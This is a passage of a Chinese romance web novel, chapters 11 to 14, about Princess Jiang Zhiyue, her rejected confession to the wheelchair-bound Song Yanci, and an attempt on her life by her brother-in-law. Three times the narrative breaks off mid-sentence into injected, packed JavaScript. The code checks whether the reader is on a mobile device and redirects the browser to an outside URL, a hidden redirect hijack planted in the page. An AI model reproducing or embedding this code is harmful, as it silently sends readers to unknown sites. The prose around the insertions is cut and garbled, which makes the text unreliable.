姜稚月惊地抬眸看宋知凌,眼底满是惊喜的笑意,“它在亲我!” 宋知凌嘴里衔着一根草,被她灼亮的目光看得愣了一下,站直身子神色不自然地移开目光,低低“嗯”了一声。 姜稚月将小鱼放回水中,若有所思地看了眼宋知凌,然后一本正经叫了他的名字。 宋知凌歪着脑袋捏捏耳朵,故作懒散回头,“怎么……呀!” 话音未落,一捧水便伴随着姜稚月的娇笑声扑面而来。 他身子骨本就健硕,也不怕冷。 被姜稚月追着泼了好几下后,“不得已”用手指沾了些水佯装生气地“反击”。 结果惹得小公主哇哇大叫,气呼呼地扑过来使劲儿朝他泼水。 也不知过了多久,姜稚月玩得累了,扶着膝盖气喘吁吁,舒爽的风一吹,心里的郁结之气倒是散了个干净。 “不玩了,太阳快落山了,我们回吧!” 宋知凌往她身后看了一眼。 大片大片的紫丁香如一片紫色的花海,巨大的橙红色夕阳挂在花海尽头,少女就站在微风中,融入了这幅画卷,美得让人移不开眼。 他的眼神定在她身上: “好。” 回去的路上,宋知凌给姜稚月编了一个花环戴在头上,两个人慢慢走着,迎面吹来的风里都是花的香味。 “我哥和……姚盈初,不是你想的那种关系。” 宋知凌用枯枝把姜稚月眼前疯长的紫丁香拨开。 “我知道。” 姜稚月低着头,声音闷闷的,“我只是觉得有些累了。” 她忽然顿住,蹲下去捡了一块儿石子,重重抛向远处,“他的腿……会好的吧?” “姚盈初说恢复的可能性很大。” 宋知凌学着她的样子,也扔了一块儿。 姜稚月点点头,再没说什么,两人继续往回走。 夕阳落得很快,还未走出多远,天便黑了下来,漆黑和深蓝缓慢占据天边仅剩不多的橙红色,往东边的天上看已是繁星如河。 天一黑,路便也不好走了。 宋知凌看了眼身边的少女。 见她紧拢着披风,脚步沉重,眼皮也耷拉了下来,便往她身前一蹲,“上来,我背你。” 姜稚月停住脚步,揉着眼睛反应了一下他说的话,便毫不犹豫地扑了上去,还不忘拍拍他的肩,嘟囔道: “稳着点儿啊,我睡会儿。” 广阔的苍穹下,高大的男人背着娇小的少女,头顶是漫天繁星,身后是大片大片紫色花海。 宋砚辞的轮椅停在昭华公主的帐门口,盯着从远处回来的两人。 月光将他手背上的青筋照得格外明显。 宋知凌显然也看见了他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闷响似乎停了一下,又似乎没有。 男人身上冷冽的雪松香若隐若现地留在了原地。 宋知凌侧过脸去,肩膀上小姑娘的睡颜在月色下恬静而美好,浓密的眼睫安静地垂着,似乎对方才一切都毫无所觉。 宋知凌从姜稚月的帐子里出来后,径直去了宋砚辞帐中。 宋砚辞正坐在灯下,自己与自己手谈。 他换了一身白色绸缎的寝衣。 衣料柔软,微微贴合在他身前,动作的时候,精瘦紧实的胸膛和小腹线条若隐若现,被橘黄色的烛光笼了一层不浅不深的阴影。 男人拈棋的手指亦染上朦胧柔光,白皙修长,透着玉一般的润。 近乎完美的俊美脸庞一半隐在阴影里,半垂着眼,眼角泪痣绯红,看不出是什么表情。 宋知凌站在门口将他打量了半晌,走过去坐在对面,在棋盘上凝视片刻,拈起黑子按在了棋形的眼位。 宋砚辞不紧不慢跟上一步。 玉质的棋子在楠木棋盘上发出“哒”的一声脆响。 “今夜围场臣工家眷众多,你背公主回来,于礼不合。” 宋知凌抬眸睨了他须臾,忍不住嗤笑出声: “如此都算于理不合,那璋华殿遇刺那夜,花园中哥对阿月做的那些事呢,又算什么?!” 宋砚辞落子的动作一顿,手指微不可察地收紧,幽幽抬眸望向对面。 “哥看我做什么?阿月年幼,小孩子心性不懂,难道哥也不懂么?” 宋知凌收了笑意,将黑子往棋笥中一扔: “别告诉我,哥搂着阿月亲吻的时候,心里想着的,是从小到大你与她之间青梅竹马的情谊。” 12. 第 12 章 姜稚月绝不允许自己在不美丽的时候被人看见。 她在第二日发现自己脸颊靠近下颌的位置,有微微的花粉过敏后,便一步也不肯出门,也谢绝了所有人的探视。 所幸那花粉过敏病不严重,也没引发她的哮喘之症。 赶在回宫前的一日,待脸上的过敏彻底消了下去,她这才应了宋知凌三催四请的邀约,去了马场。 姜稚月梳妆打扮妥当,姗姗来迟的时候,宋知凌已经牵着一匹矮小的枣红色骏马等在了场边。 她刚一去就被那匹漂亮的马吸去了目光。 “呀!哪里来的小马驹,可真漂亮!” 宋知凌咧了咧嘴,能不漂亮么。 姜稚月这小祖宗,不仅自己爱美,也喜欢所有漂亮的东西,所以在刚得了这匹宝马的时候,他就给它编了最好看的辫子,配了最漂亮的马鞍。 他拍了拍马背: “上去试试?” “送我的么?” “嗯。这匹马温顺,不会再像之前那匹一样差点儿伤了你。” “伤我的是马吗?” 姜稚月不乐意了,坐在马背上扬了扬镶着碎宝石的马鞭。 宋知凌佯装投降,“是我是我,是我惹了小公主,才险些害你受伤,我有罪。” 见他认错态度良好,姜稚月弯了弯唇角不与他计较,“你从哪儿得来的这匹马?” “你别管,骑着就行了。” 这匹马是褚屹哥给他的。 宋知凌知道褚屹哥近来在替他哥做事,不过褚屹哥信誓旦旦地说这马就是他自己找来的,与宋砚辞无关,他便也就这么信了。 左右不管是谁找来的,是他送给阿月的就行了。 宋知凌跟着翻身上马,将她圈进怀里,拉着缰绳问: “遛遛?” 姜稚月被他揽在怀里有些不自在。 不过两人从前也不是没同乘过,便也没多想,点了点头,马鞭指向前方,笑道: “出发!” 宋知凌也笑了,一抖缰绳,“驾”的一声带着她奔了出去。 小马驹跑得又快又稳,遛了一圈后姜稚月心里畅快,对这小马驹喜欢得不行。 正爱不释手地摸着鬃毛,忽听身后宋知凌语气低低地说: “阿月那晚,其实都听见了吧!” 宋知凌的热息喷在耳后,姜稚月手一顿,敛眸道: “你说什么我不知道。” “那夜我哥与你擦身而过时,你身子明显僵了一下。”宋知凌道。 姜稚月抿了抿唇,右手不自觉抚上左手手背,似乎那里还留有那夜冰凉衣角掠过的感觉。 沉默片刻,宋知凌忽然俯下身子在她耳边低低道: “凑过来些。” “干嘛?!”姜稚月猛地回过神,一脸警惕去瞧他。 结果刚一回头就见男人眼帘下压,视线盯着自己的唇缓缓俯下了身。 姜稚月头皮都麻了,整个人瞪大眼睛僵硬得一动不能动,男人靠近的气息被无限放大。 就在两人越靠越近的时候,宋知凌忽然抬手,捏着她的下巴在她唇下擦了一下,坐直身子笑得狡黠: “有脏东西,你脸红什么?” “谁、谁脸红了!” 不说还好,一说姜稚月便愈发觉得自己脸颊发烫。 她一脚把宋知凌踢下去,叉着腰正要开口骂他,忽然察觉到一道灼热的视线。 姜稚月的心猛地一跳,一抬头,果然瞧见了对面二楼上宋砚辞的身影。 这次离得近,她突然看过去的时候,他的视线还未来得及收回。 姜稚月清晰地看到他撑着栏杆时僵硬用力的手臂,以及……眼底那遮掩不住的汹涌情绪。 她的呼吸一滞,心里像炸烟花一般猛地蹿起一阵喜悦,不顾宋知凌还在对她说话,匆匆翻身下了马。 然而等她下马追出去的时候,那二楼上哪里还有宋砚辞的身影…… 马场另一侧,有一片茂密的竹林。 轮椅咕噜噜压过枯枝,发出仿佛钝刀子一般的声音。 跪着的男人身体不由自主颤了颤。 “还真是冤家路窄,在哪儿都能碰见你。” 轮椅上的男人目光平静,好看的薄唇微微勾起,语气中带着温和的笑意,“沈望,你再不出现,我会以为你死在了别人手里呢。” “三、三殿下……” 那名唤沈望的男人颤巍巍朝宋砚辞的方向爬过来,脸上骇人的刀疤随着说话一抽一抽,现出了哭腔: “咱们也算、算得上不打不相识了,与您斗了这么久,求、求三殿下大人有大量,给我个痛快!” 那么壮实又凶神恶煞的一个人,在轮椅上温和羸弱的男人面前,反倒像是被吓破了胆儿,整个人一面像狗一样爬一面抖着尿了裤子。 宋砚辞微不可察地蹙了蹙眉,在他的手即将碰到自己的时候,抽了下衣摆。 褚屹立刻上前,将沈望拉了回去。 春日的暖色阳光从密林间斑驳落下,洒在宋砚辞雅白色绣着金丝鹤纹的长衫上。 他一动作,那些金色的绣线便在周身回溯着细碎流光,贵气逼人,在这充满枯枝败叶灰突突的林间,耀眼得仿佛在发光。 他像个文雅的贵公子一样,眼角带着笑意: “你看你三殿下是那般好心的人么,恨不得我死的人那么多,若是各个被抓了都像你一样求饶,三殿下饶得过来么?” 宋砚辞指腹摩挲了一下,上前一把掐住男人的下颌,逼近他: “平日里留着你的命逗狗一样逗逗也就算了,可你那主子千不该万不该,最不该的,便是将主意打到昭华公主身上。” 那日姜稚月险些纵马坠崖,旁人以为是意外。 但他却在后来探查时,发现了端倪。 ——那马被人下了一种苗疆的致幻药,无色无味,极短的时间便可消散干净。 旁人查不出,但他可以。 宋砚辞的手白皙如玉,骨肉匀亭,掐在那满脸胡渣的莽汉脸上,怎么看都显得无力。 然而谁都没看清他怎么用得力,只听“咔嚓”一声,沈望的下巴就被卸了下来。 宋砚辞手一松,壮汉立刻捧着下颌瘫倒在地上蜷缩着,“呜呜呜”地发不出一个完整的音来。 “我的腿断了快三年,也扎了快三年的针——” 宋砚辞漂亮的手指间拈着一根极细的银针,阳光照上去泛着冷光。 褚屹将沈望拉起来,宋砚辞倾身过去,唇角含着笑,将手上的银针一点一点、缓慢而玩味地送进沈望的太阳穴位置。 “最是知道,这银针,扎在身体的哪处,最让人痛不欲生。” 银针的针尾没入皮肤,宋砚辞唇角微勾,满意地看了看自己的“杰作”。 “你不会立即死,这种痛会昼夜伴随着你。” 宋砚辞坐直身子,居高临下地看着地上抖若筛糠之人,玉一般俊美精致的脸上神情悲悯,仿佛那神庙里供奉的神佛像。 “……但你若一心求死,我倒是也可以给你指一条明路。” 沈望已经痛得有些神志不清,唇角溢出被自己咬破的血,闻言呜呜应着。 宋砚辞低低笑出了声,垂首用帕子慢条斯理地一根根擦了手指。 良久,他掀起眼帘,冷若寒霜的眸朝地上人瞥去一眼,声音带了狠戾: “回去给你家主子传句话,若是还敢有下次,求死不能的人可就该轮到他了。” 宋砚辞说完,转身的时候,看了褚屹一眼。 褚屹立刻跟了上来。 宋砚辞将帕子扔还给他,眼帘低垂,眉眼间一副厌世之态,语气淡淡的: “将沈望的手筋脚筋挑断,留一口气丢到宁康巷的兰漪妓馆,自会有人救走他。” - 宋砚辞刚出竹林,常乐就忙不迭地跑了过来,急道: “主子,昭华公主都来找了您两趟了。” 宋砚辞动作一滞,蹙眉道: “现下人呢?” “没等到您,人已经走了,瞧着应是……应是被太子叫去了英国公那里。” 轮椅上的男人不动声色地松了口气,嗅了下身上浅淡的血腥气,吩咐常乐: “你前面走,叫人备水,准备身新的衣裳,这件待会儿尽快拿去烧了。” 围场另一面要热闹得多。 姜稚月陪着太子在外祖父那里说了会儿话。 太子将她那副坐立不安的猴急模样看在眼里,不动声色地又陪着裴老说了几句,便带着她出来了。 “可是又急着去找宋执玉?” 姜稚月飞蹿的脚步一顿,回头对太子嬉笑了一下没说话。 太子睨着她,腮骨绷了绷,最后轻叹一声挥手道: “去吧,只是围场人多眼杂,注意着些。” 小公主的小脑袋点得飞快,口中胡乱应着,脚底下却像是生了风,一溜烟跑没影儿了。 姜稚月掀帘进去的一瞬间,便闻到了屋中淡淡的潮湿的皂角香。 她脚步一顿,心不由跟着吊了起来。 又压低脚步探着身子慢慢往进走了几步,越过屏风,一眼便看见了坐在桌前摆弄香炉的男人。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜稚月手捧茶杯,轻嘬了一口,从进门起狂跳的心才渐渐缓了下来。 “都好了。” 她放下茶杯,不知从哪儿变出两根儿树叶的杆儿,举到眼前晃了晃,笑得眉眼弯弯的,“执玉哥哥再陪我玩一次?” 眼前的小姑娘一身火红的罗裙,领口围着一圈白色毛领,遮住些许精致漂亮的小脸蛋,琼鼻挺翘,鼻尖被风吹得微红。 明艳的杏眸中水波潋滟,漾出狡黠的笑意,让她看起来像是一只小狐狸。 宋砚辞盯着她多看了两眼,微微勾唇,“好。” 这个游戏是幼时他们三个人总一起玩的,那时候宋砚辞就老是让着她,只有宋知凌胜负欲强,每次都将小姑娘赢得哭鼻子。 姜稚月递给宋砚辞一根儿,自己手里拿了一根儿,两手拽直,“来吧。” 宋砚辞捻了捻手里那根儿明显枯黄的杆儿,眼底漫上笑意,将自己这根儿搭上她手里那根儿。 另一只手从下面去拿的时候,微凉的手指不经意碰上她的。 对面小姑娘明显瑟缩了一下,宋砚辞动作微顿,然后当做什么也未发生一般,若无其事地将树叶杆儿拉了过来。 “公主。” 姜稚月被唤回神智,低头望自己被他碰过的地方看了一眼,深吸一口气笑道: “执玉哥哥可要准备好了,这次我定不会让着你。” 宋砚辞含笑应好,手底下假装用力,配合着她玩这种,在现在的他看来有几分幼稚的游戏。 一连好几下,都是姜稚月赢了。 宋砚辞放下手中最后一小段断成两半的树叶杆儿,视线忍不住被对方明媚的笑意吸引了去。 小公主就好像一只满身锦绣羽毛,骄傲又矜贵的小雀儿一样,抖着傲娇的尾巴微微扬起小脸看他。 宋砚辞胸腔轻颤,喉间忍不住溢出一丝轻笑。 “我赢了,执玉哥哥打算答应我什么?” 这是他们的一贯惯例,输得人要答应赢的人一件事情,或者送给对方一样礼物。 姜稚月抚摸着小云雀儿的羽毛,借着埋头看它的间隙偷瞄他。 对面男人闻言,唇畔笑意落了下来,拇指摩挲着茶盏边沿,垂眸不语。 随着他沉默的时间越来越长,姜稚月的心一寸寸落了下去。 良久,男人的喉结轻滚,就在他准备开口的时候,她突然抢断了他的话。 “不若执玉哥哥答应做我的驸马如何?” 13. 第 13 章 从前姜稚月心悦于宋砚辞,但从未真正与他这般直白的表露过心迹。 不仅是宋砚辞,姜稚月也乐得见两人之间揣着明白装糊涂。 因为这对她来说,也同样是最安全的距离。 她从前总是怕哪一日说开了,会跟他连朋友也做不成。 可这次不一样。 “我父皇已经开始着人给我在宫外修建公主府,礼部和司衣局也已经开始给我准备喜袍,一个半月后,我的生辰过了,我便是不择婿也要择婿了。” 宋砚辞对她方才的问题避而不谈,只温声道: “公主是该有个人照顾了,顾思恒就很不错。” 姜稚月幽怨地看了他一眼,“我与他在一起时候,执玉哥哥心里就不醋么?” 不等他回答,姜稚月吸了吸鼻子,手里无意识转着树叶杆儿,声音闷闷的: “执玉哥哥,我心悦于你,你拒绝我,是因为你的腿么?” 那日,她看到了顾思恒看她的眼神,第一次知道一个男人若是心悦一个女人的时候,是什么模样。 而今日她与宋知凌在马场的时候,一回头时,分明也在宋砚辞的眼中眼看到了那种情绪。 她不信他对她就没有一丝感觉。 姜稚月鼓起勇气转身直视着他,身子下意识前倾,似乎是想将他脸上任何细微的表情都看得一清二楚: “还是因为……” 顿了顿,“姚盈初”三个字还是被她说了出来。 “与她无关。” 宋砚辞几乎是立刻打断了她的话。 察觉到姜稚月神情中的变化,他轻咳一声,顿了顿,“不是因为她,你别多想。” “那就是因为你的腿对么?方才我分明瞧见,你看见我和云笙在一起时不悦的神情。” 姜稚月眼尾红彤彤的,强忍着心底涩意,语气中已隐隐有了颤抖的哭腔。 她深吸一口气,擦了擦眼角,重新扯出一抹笑容看向他: “倘若是因为你的腿,我只想说执玉哥哥大可以不必担忧,你的腿本就是因为救我而受的伤,那次若没有你,恐怕我早已在马蹄下殒命。执玉哥哥,你从一早就知道的,我……” 一个十六岁的小姑娘,养在宫廷中千娇百宠,第一次不顾矜持说出这样一番话。 她脸颊晕红,掌心抠出深深的月牙印,既难堪又羞赧。 但仍然选择直视着他,一字一句认真且坦然: “我喜欢你,从很早以前就喜欢了,我不在乎你是任何模样,也从未想过从你身上得到什么,我只是……” “只是想与你在一起,这样就足够了。” 她从来不是扭捏的性子,她比任何姑娘都坦然,她就像是今日外面高悬的烈阳,像盛放的牡丹,像傲娇的孔雀。 她喜欢他这件事,从确定了自己的心意后,就没想过隐瞒。 旁人的闲言碎语她听过,却从不往心里去,她热烈坦诚,只会努力对自己在乎的人好。 她比她怀中的小云雀儿还要柔软,娇嫩。 宋砚辞看着这样的姑娘,手心一点点收紧了起来。 虽然早已沐浴更衣,但方才那股令人作呕的血腥气似乎重新弥漫在了鼻尖,就连指缝的纹路中仿佛都沾满了粘稠腥臭的血。 姜稚月该是被娇养在温室的花朵。 “公主定是看错了,方才我在马场二楼看远处射箭,并未瞧见公主和云笙。” 宋砚辞低低盯着掌心里一截儿树叶的枯杆儿,良久,唇畔慢慢勾了起来。 他抬头直视着她的眼睛,语气温柔: “公主说你赢了,要让我答应你什么,可是这游戏从一开始就错了,如何能作数?” 他将自己那支树叶杆儿和姜稚月的摆放在一起,一个鲜活嫩绿,一个干枯颓败。 瞧见姜稚月神色突变,宋砚辞喉结滑动了下,像是在克制着情绪: “游戏既不作数,何来奖惩一说,公主糊涂……” “我!我可以重来!” 姜稚月仓皇从座位上站起身,手指在桌上摸索着那几根儿树叶杆儿,呼吸都急了起来: “若是执玉哥哥觉得是因为我游戏耍赖,我可以让你拿我这个,我们重新……” “公主还不懂么?” 他凝视着她,眸中是一贯的温和: “执玉很感激公主的喜欢,我也很喜欢公主。” “但我对公主的喜欢是兄长对妹妹的喜欢。” “我从始至终,只把公主当做妹妹,对你……并无男女之情。” “我从未喜欢过公主,所以也请公主切莫再执迷了。” 宋砚辞没去看她,将桌上一个镶金木匣推了过去: “上次公主送的这枚玉佩,应当是枚阴阳佩,公主还是拿回去,免得叫将来的驸马生了误会。” 顿了顿,他回头摸了摸她狐狸发簪的小尾巴,笑意温柔: “我祝公主,觅得佳婿。” 说罢,没再看她一眼,转身去了梳洗架旁洗手。 双手没入水中,白皙的手背上青筋虬结。 宋砚辞的神情分明十分平静,可是水中的涟漪却如层层叠叠的浪,鼓荡不休。 以至于姜稚月是什么时候出去的,他都不知道。 - 回宫的路上,姜稚月一直待在马车上不肯出来。 太子虽不知道她与宋砚辞之间发生了什么,但有心想开导两句,又觉身份不便,便趁着停车休整时叫薛凝前去问问。 可姜稚月这次就像是铁了心一样,连薛凝也不见。 薛凝站在姜稚月的马车边,无奈与太子对视一眼,摇了摇头。 太子眸底瞬间漫上冷意,回头看向宋砚辞的马车,想上前,才刚迈开步子,又生生攥拳忍住了。 马车又行了一段距离,眼瞅着再休整一次就能进京了。 姜稚月趴在桌上,手指拨动玉佩,瞧着笼里熟睡的云雀儿,神情恹恹的。 忽然,在外面嘈杂的人声间隙,门口传来一声怯怯的、极不自信的声音: “敢问……公主可在里面?” 玉佩被拨动时“咣当当”的声音霎时一停,姜稚月身子缓慢而僵硬地坐了起来: “表……表嫂?” 外面犹豫道: “是、是我。” 姜稚月抿了抿唇,须臾,“进来吧。” 姜稚月以前就知道她这位表嫂性子柔弱,但看她自打进来后,便只有小半个臀部坐在一点点最靠近门口的位置,她就替她难受。 她的这个表嫂性子和姚盈初相差实在太多,是以她当时才没有将二人联系在一起。 也是后来二姐告诉她,表嫂出生时从胎里带了弱症,后来便被送去乡下养身子,成日里也不出门,慢慢就养成了这种胆小怯懦的性子。 姜稚月指着身前位置,关切道: “表嫂坐正些,当心摔下去。” “哦哦,好。” 姚姝往后挪了一点点。 姜稚月:“……” “表嫂是有什么话要同我说么?” 姚姝轻点了下头,绞着帕子,纠结道: “从前在金陵,夫君怜我身子弱也不让我多操心家中庶务,我不知晓公主与宋……听闻公主心情不佳,我来看看。” 她将一盒糕点推过来: “这是夫君惯吃的,你们是表兄妹,想来公主不会嫌弃,就是我的手艺不是很好……” 姜稚月低头去瞧,那是一盒粉白相间的糕点,被做成了桃花形状,在花蕊处点缀着些许桂花蜂蜜,色泽看起来的确诱人。 她眼睫轻颤了下,“多谢表嫂。” 姚姝摇头,“我也想替妹妹跟公主道个歉,今后我定严加管束盈初,不让她再传出什么风言风语惹了公主烦心。” 姜稚月原本确实因为姚盈初而对这个表嫂心生芥蒂,但她真将这些话说出来后,姜稚月反倒有些不好意思去责怪谁了。 她语气佯装轻松道: “表嫂不必介怀,她人之事与我无关,宋……三皇子与我无缘也不是因为你表妹,表嫂身子弱,还是莫要忧思过度才是。” “可公主,宋三……” 姜稚月笑着打断她: “之前在表哥信中听闻表嫂生完孩子后得了肺咳,我二姐从前也有这些症状,恰好我身边的韩云擅长此道,到时我让韩云制好药丸,派人给表嫂送过去些。” 姚姝惊愕地抬头,进到马车里后第一次认真打量姜稚月。 小公主精致漂亮的脸蛋即便是哭过也十分好看,一副我见犹怜的模样,但见她看过去时,还对她展颜一笑,笑容坦荡而真诚。 姚姝心底一热,还没反应过来,自己已经大着胆子过去牵住了公主的手,语气真挚: “祖父来京城前,让人带了几株琼花,说是打算移栽到这边院子里,到时栽好,公主来赏。” “好。”姜稚月弯唇笑了笑,答应了下来。 送走姚姝后,姜稚月的肩膀一下子就耷拉了下来。 锦葵见她强撑的精气神泄了,忍不住撇撇嘴,作势就要将那盒糕点扔出窗外: “公主理她作甚?明知公主不想提,还偏要提那两人!” “锦葵!” 姜稚月伸手拦住她,“算了,人家也是一片好心,糕点等回宫了分给大家吃吧。” 她掀开帘子一角,朝外看了眼,“你去给我哥哥说一声,我待会儿进京后想直接去二姐姐府上。” 姜宜宁这次因为源哥儿有些腹泻,留在府中照看孩子,便没去春狩。 “二姐,源哥儿的腹泻可好些了?” 姜稚月一下马车便挽住姜宜宁的手臂,关切道。 “已经大好了,就是身子虚睡得早,这会儿怕是已经睡熟了,不然还能叫奶娘抱来让你瞧瞧。” 姜稚月急忙摇头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279263|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小家伙儿好好休息重要,反正我还要在你府上叨扰几日呢。” 姜宜宁提前得了太子的信儿,知道自己这个妹妹心情不好。 她反过来挽住姜稚月,笑道: “好啊,反正你姐夫这几日也不在,咱俩姐妹俩好好说说话。” “姐夫人呢?不在府里?” 姜稚月状似不经意地问。 姜宜宁尴尬地应了声: “他在政务上被父皇申饬了几句,令他在府中闭门思过,他这两日心情不佳,回了梁府住去了。” 姜稚月蹙眉,“他没对姐姐你发火吧?” “他不敢。” 两人说话的功夫,已经回了主院,姜宜宁让人将床铺收拾出来,放上榻几,又拿了一坛子酒和几道小菜,回头对姜稚月笑道: “咱们姐妹俩许久没睡一张床了,今夜可要好好聊聊。” 姜稚月瞧着那酒坛子,眼眸一动,晃着姜宜宁的手臂撒娇道: “二姐小气,才拿一坛酒出来糊弄我!让他们多拿些,今夜本公主要一醉方休!” 姜稚月从前的酒量其实不算差,至少比姜宜宁要好一些。 所以姜宜宁便叫人多拿了几坛酒,想着姜稚月喝一杯她就陪一杯,等她感觉有醉意的时候便不叫姜稚月喝了。 谁想,她竟不知人心情差的时候酒量也会跟着变差。 等到她喝到感觉微醺的时候,姜稚月已经发起了酒疯。 “……”姜宜宁看着眼前抱着自己一会儿哭一会儿笑的妹妹,有些哭笑不得。 她连哄带骗哄着姜稚月躺下。 结果才刚转过身去拿湿帕子的功夫,姜稚月已经一骨碌从床上爬了起来,穿了鞋就往外跑。 口中还一直大声念叨着: “锦、锦葵!太子哥哥给我那本册子呢?!本公主……嗝!本公主这就回宫!挑个驸马出来!” 姜宜宁原本还在追,闻言一个趔趄差点儿摔倒,幸而旁边的婢女一把扶住了她。 “快!快将人拦住!” 喝醉酒的人力气大,跑得也比平时快,眼瞅着一路追到了府门口,姜稚月口中嚷嚷声越发大,在这安静的夜里格外明显: “锦葵!本宫那册子呢?!怎么还没拿来?!那册子上的好儿郎多的是!石嬷嬷说得对!本公主要选上他十个八个不重样儿的!” 姜宜宁头痛地抚了抚额角,指着自家妹妹急着吩咐众人: “抓住了先把她的嘴给我堵住!实在不行……” 姜宜宁眼见得姜稚月嘴里又要胡说,一跺脚: “实在不行打晕了也成!” 姜稚月最后是在临出府门的前一刻被逮住的。 姜宜宁还没来得及松口气,就见她扑过来抱住自己,鼻涕眼泪蹭得到处都是,死活嚷嚷着要回宫。 姜宜宁哄劝半天无法,原本想亲自送她回宫,结果奶娘急急忙忙赶来说小主子又腹泻高热了。 姜宜宁焦头烂额。 这才不得不命锦葵并自己的两个丫鬟陪着她一起回宫,不放心地叮嘱了好几遍让路上把人看好。 半夜的路上连个鬼影儿也没,只有马蹄踩在青石板路上发出的“哒哒”声。 姜稚月方才撒了场酒疯这会儿安静了下来,倚在马车壁上,小脸嫣红,眼神半寐,时不时发出两声哼哼般的低笑。 不过好在,再没做出什么出格的事情来。 三个丫鬟互相对视一眼,一口气还没松完,谁料对面那小祖宗突然蹭的一下站了起来,脑袋撞在车顶发出“咣”的一声。 然而她像是没感觉到疼一般,一边喊着停车,一边就径直往外冲去,“噔”的一声跳下马车就跑。 三个丫鬟脸色一白,赶忙七手八脚地跟上。 但那三人哪里是一个醉鬼的对手,跑出去没多久就将那七拐八拐的人给跟丢了。 姜稚月其实还没有醉到神智不知的地步。 她只是本就心里憋着难过,酒精的作用下被放大了出来,就想发泄发泄。 本来在二公主府上发泄过了乖乖回去就也罢了,然而她方才刚一回头,从车帘的缝隙里又瞧见了那日见到的那个女人的身影。 她仔细定了定神,确定自己没看错,便急忙跟了出来。 一路追着那个身影左拐右拐,不知绕了多久,姜稚月脚下不小心被绊了一下,再一抬头,那个女人便不见了。 此时冷风一吹,姜稚月也回过了神,前后左右看了看,忽然惊惧地发现……自己迷路了。 醉酒后即便脑袋里偶尔清明,可是身体也沉甸甸的。 姜稚月拖着沉重的眼皮和步伐,踉踉跄跄循着记忆里的方向往回走。 然而就在拐过一条巷子,对面酒肆亮光照过来的一刹那,姜稚月脚步一顿。 醉眼朦胧间,她恍惚看见了一道熟悉的背影。 那人身旁,还搂着一个身姿袅娜的女子。 14. 第 14 章 姜稚月揉了揉眼睛,定睛一看,那人不正是此刻应该在梁府中待着的姐夫,梁邵么? 而他不仅没在府中闭门反思,反倒还去了酒楼拈花惹草。 姜稚月脚下一顿,酒精占据的大脑来不及让她多思考,左右看了看,悄悄跟了过去。 酒肆里丝竹喧阗,倒是没人在意何时混进了一个小女郎。 姜稚月蹑手蹑脚跟着梁邵的背影上了二楼。 眼瞅着他的背影消失在二楼拐角的一间房间门口,她提起裙摆踉跄着跟了过去。 可就在赶到的时候,却发现那间房的房门大开,里面一个人也没有,只有随冷风疯狂乱飞的纱幔。 姜稚月脑子里混沌,一时没反应过来,站在房门口突然呆住了。 “没想到公主大半夜还有跟踪人的雅兴。” 她听出是梁邵的声音,只是那声音再不似平日里温和,透着一股杀意。 姜稚月还未来得及回头,背上便被大力一推,整个人跌进房间里。 “咣当”一声,门被锁住,眼前银光一闪,一道脚步声缓缓靠近了过来。 姜稚月这才有了反应,本能驱使下撑着自己起来就要跑。 但她哪里是梁邵的对手,一瞬间便被人拎小鸡一样拽了回来。 “公主此刻若是安安分分在公主府睡觉,本也没什么,但公主发现了不该发现的,那我就是想留公主的命也留不得了!” 梁邵露出狰狞面目。 姜稚月反抗不得,红着眼眶四下里乱瞅。 酒精的作用下,神智反应都变得无比迟缓,直到这一刻她才真正意识到危险。 “公主别看了,这里不会有人……” “二姐?!” 梁邵话未说完,姜稚月双目圆瞪突然望向房门方向,失声唤到。 梁邵持刀的手一顿,下意识回头。 姜稚月瞅准机会拼尽全力推开了他,疯了一般往门跑去。 梁邵也意识到自己被她骗了,蹬腿就追。 姜稚月不要命往门口跑,眼瞅着就到了门口,刚将门大力拉开,整个人就又被梁邵手臂缠住了脖颈。 姜稚月惊呼一声,一口咬在他的手臂上。 梁邵吃痛。 姜稚月趁机又往门口跑去,却再一次被拉住了衣领。 她趁乱拔下簪子,发疯一般往眼前的手臂上刺去。 脖颈上的手臂吃痛收紧,勒得她几近窒息。 就在姜稚月眼前发黑,心里绝望和恐惧如滔天巨浪没顶而来时,忽听“咻咻”几声,那拖着自己的手骤然一松,随即重重倒地发出“砰”的一声闷响。 姜稚月惊诧抬头。 走廊楼梯的方向,有个人影坐着轮椅缓缓而来。 灯火晃眼,姜稚月又醉酒的眼晕,仔细瞧了许久,才发现那人是宋砚辞。 男人好看的薄唇紧绷,脸色阴鸷,沉沉盯着姜稚月。 一声轻响,姜稚月手里的粉色海棠花簪子落了地。 宋砚辞瞥了眼,抬眸直直凝视着姜稚月,沉哑开口: “公主,过来。” 静了小片刻,姜稚月眼圈一红,受尽了委屈一般飞扑进宋砚辞的怀里,像是抓住了救命稻草一样死死搂着他的腰,闷闷哭出了声。 她哭得惨兮兮的,埋在他胸口肩膀一抽一抽。 宋砚辞原本想推开她的手一顿,缓缓落在背上轻抚,回头对匆匆赶来的褚屹道: “通知其余人,未抓住人的就先离开吧,至于梁邵——” 他眯了眯眼,语气阴沉,“留一条命给太子,其余的,你看着办。” “是。” 褚屹见过宋砚辞之前的手段,明白他这句话的意思,绕过去拖拽不知死活的梁邵。 姜稚月听见声音,下意识想看一眼梁邵怎么样了。 结果才刚一抬头,又被宋砚辞按着脑袋压了回去,“别看。” 男人说话时,胸腔微微震颤,滚烫的怀抱结实有力。 许是酒精上头,姜稚月鼻子一酸,连日来的委屈在这一刻达到了顶峰。 